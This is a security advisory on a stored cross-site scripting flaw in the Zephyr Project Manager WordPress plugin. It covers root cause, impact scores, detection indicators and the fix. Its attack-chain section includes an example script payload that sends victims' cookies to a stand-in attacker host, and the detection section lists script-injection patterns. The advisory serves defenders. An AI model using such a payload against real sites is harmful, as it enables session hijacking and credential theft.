CVE-2026-76931: 
WordPress vulnerability analysis and mitigation

CVE-2026-76931 is a Stored Cross-Site Scripting (XSS) vulnerability in the Zephyr Project Manager plugin for WordPress, affecting all versions up to and including 3.3.205. The flaw exists in the message parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Custom-level access or above to inject arbitrary web scripts. Exploitation is only possible when the 'Directly link to project' plugin setting is disabled. It was published on September 8, 2026, with a CVSS v3.1 base score of 6.4 (Medium) (Github Advisory, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization of the message parameter before it is stored and subsequently rendered in web pages. Relevant vulnerable code paths are found in AjaxHandler.php (line 305), Projects.php (line 1052), and Tasks.php (line 1308) within the plugin's source tree. Exploitation requires the attacker to be authenticated with at least Custom-level access and the 'Directly link to project' setting to be disabled (Github Advisory, Wordfence).

Successful exploitation allows authenticated attackers to persistently inject malicious JavaScript into pages served to other users, impacting both confidentiality (e.g., session token theft) and integrity (e.g., unauthorized page content modification). The scope is changed, meaning the injected scripts can affect users beyond the attacker's own session. Availability is not impacted. The attack vector is network-based and requires no user interaction beyond a victim visiting the injected page (Github Advisory).

There is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the disclosure date. The CVE status is listed as 'Deferred' and NVD's SSVC assessment confirms exploitation is 'none' at this time. The EPSS score is approximately 0.193% (9th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory, Wordfence).

1. Reconnaissance: Identify WordPress sites running the Zephyr Project Manager plugin at version 3.3.205 or earlier, and confirm the 'Directly link to project' setting is disabled (a prerequisite for exploitation).
2. Obtain authenticated access: Register or obtain credentials for an account with at least Custom-level access on the target WordPress site.
3. Inject malicious payload: Submit a crafted request to the plugin's AJAX handler (e.g., via AjaxHandler.php) with a malicious JavaScript payload in the message parameter, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The unsanitized input is stored in the database and rendered without escaping when project or task pages are loaded.
5. Victim execution: When any user (including administrators) visits the affected project or task page, the injected script executes in their browser, potentially enabling session hijacking, credential theft, or further attacks (Github Advisory, Wordfence).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting Zephyr Project Manager project or task pages (potential exfiltration of cookies or credentials).
• Logs: WordPress access logs showing POST requests to AJAX endpoints (e.g., admin-ajax.php) with unusually long or encoded message parameter values from low-privileged accounts.
• Database: Stored entries in the plugin's database tables containing <script>, javascript:, onerror=, or other HTML event handler patterns within the message field.
• Browser: Unexpected JavaScript execution or redirects when users navigate to Zephyr Project Manager project or task pages.

Update the Zephyr Project Manager plugin to a version newer than 3.3.205, which includes the fix introduced in changeset 3656930. As a temporary workaround, enabling the 'Directly link to project' plugin setting prevents exploitation of this specific vulnerability. Site administrators should also audit existing project and task message fields for any suspicious script content (Github Advisory, WordPress Changeset).